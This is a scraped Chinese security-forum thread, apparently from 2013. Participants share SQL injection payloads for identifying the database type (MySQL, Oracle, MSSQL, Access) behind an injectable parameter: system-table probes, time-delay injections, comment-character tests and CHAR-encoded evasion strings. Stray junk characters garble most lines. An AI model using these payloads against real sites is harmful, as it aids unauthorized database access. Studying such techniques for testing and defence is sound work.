一个注射点如何最快速确认是什么类型数据库1 V7 y8 G$ F- G$ A- y9 K# v
xsser (十根阳具有长短!!) | 2013-02-05 12:36
5 K4 S" @5 \5 d- X5 c6 N# a假设这么一个注射点:# v/ x4 v+ k; b) a' F0 u" t
show.html?id=2& t$ Q# O, A0 T$ X4 ~# d
mysql:id=2 and version()>0
; b: ]# a3 R( z! g: L0 aoracle:id=2 and '1'||'1'='114 E& L# F$ D% X; z: P4 o) l5 H6 N3 w) }
其他的欢迎补充+ ?9 _5 q" ?/ I2 u9 v' i$ d+ q
1#/ c0 M* Y! `5 ?& s0 m
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
+ t( R/ v0 K5 Z$ ]; `Access:* p# N& r( r% L( F& L0 W
aNd aSc(cHr(97))=97
; }: n7 o6 V( f5 ?% @7 wand exists(select id from MSysAccessObjects)
% X, B' _9 m+ @+ P; P) u hSQL Server:7 m$ a& ~: ~* c ?
and exists(select id from sysobjects)
% P( m' O! w$ K2 _and length(user)>0
- k, U5 D3 C% i" M' ~; @MySQL: |) q% d6 q9 `" I/ u7 [
and length(user())>0" `) M% v2 ^/ |/ s" ^* W
2#
{7 W5 I+ b; S! e5 [' Ixsser (十根阳具有长短!!) | 2013-02-05 12:48
- H; W- }" a2 \) y( M, H@upload 如果这些都不是呢…
- u7 e5 N& R. K0 d' J; p9 R3 Q: o3#
$ r0 E/ Z3 ?6 c9 _& J# `; g6 j, q Rupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
, C! E f, e1 N e, m; S@xsser 不快速的,延时注入- p/ {8 r7 O8 e- W/ Y& f
不知道这样写对不对 v. ~+ Y+ M5 T; M2 C% h( V9 {3 X6 Y
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
. F5 U+ ?1 f- j7 m6 W, d0 M. X1 Ymysql:id=2 and select benchmark(1e8,current_date());: h* S7 ~4 r- d' a0 i
4#
5 ?9 [) ~3 U+ |' Oupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10/ P! r& Z u2 T- @" f
最快的貌似是看报错信息/ a6 r8 p1 }/ d$ `0 m) z
oracle error
4 Q( K6 N6 `( h. e$ {mssql error
w3 l7 V1 ]( ^9 B* Amysql error& ~' I! V. V' D
5#, F$ v& e4 R7 b
Nimda (你们都是坏银~) | 2013-02-05 13:14& {7 U: h, ]; a* \0 R
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
( x( p6 x' `" Z# U3 i* @6#, a" U/ ^1 @# A; E2 K$ A: b
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
$ ~7 w1 |! H# F: O7 G+ u! r“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
/ D1 c9 c3 M4 W# Y$ t- J“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:0 u0 R; c/ ~# L0 m* c5 x' j
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
3 C' t1 f# Q0 f! _7#
+ s! ?/ Q W# W: q_Evil (HackEnd) | 2013-02-05 13:33. W4 T6 \2 |( }" H) m
PostgreSQL$ v8 x, D+ {9 C
8#8 e; @5 c+ b& H/ [ E) M; f+ P$ ~
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42& {7 l; n+ f+ ~$ B* z1 }# B8 S
切换编码 and 1=1
, l F! w0 T1 `, f# u( koracle:
/ [ W, R9 m0 G( R l7 f6 iCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
9 d' y% P+ h$ \1 i! N* V/ Jmssql:
( u* _" @: [, l/ f5 nCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)$ k6 y% m4 t3 b8 d1 k- R
mysql:! O9 y5 B1 V! d8 y) w- ^+ I/ @: F I \
CHAR(97, 110, 100, 32, 49, 61, 49); E5 ]" `( j/ O" p
9#6 O; x& G/ P& N3 n, T6 W& F5 J
xsser (十根阳具有长短!!) | 2013-02-05 14:317 P4 A& L I; }
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
$ |1 Z; B0 t5 i' h10#* Z. k6 R. U, u0 S
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
8 {! t/ W/ F( ?1 }2 z& E@xsser 是奇葩数据库类型的么?
+ U# l. w# R. j# o+ u" M- j根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:, k, @- v8 F" M( ?, p
1.是否可以使用特定的函数来判断,该数据库特有的
( Z, b- B6 }4 [/ V. T8 e2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
' ~% m3 l7 Z4 n! }5 U5 n4 K3.是否可以编码查询
8 D5 [/ }! U) ^6 H4.是否显可以利用错信息+ T+ `$ D: P; o x/ Y% y
5.是否存在数据库某些特性辅助判断/ z6 G" F+ ~+ G4 J# H1 b
个人见解0 Y+ S) z% O4 U& S8 r2 ?
11#
$ v3 ]! h6 C, X9 G小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
6 W* R1 S+ k( }" J9 X5 T已收藏,mssql可以直接看到错误提示的吧~- j: `2 O4 j$ h$ C
12#
2 ]5 H4 g# ?: H1 m& h3 APasser_by | 2013-02-05 15:092 ~3 g: p3 Q# k. S2 @) f1 @4 g
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
* @) Q$ e; ~- b& t5 c* {3 `from:http://zone.wooyun.org/content/260 |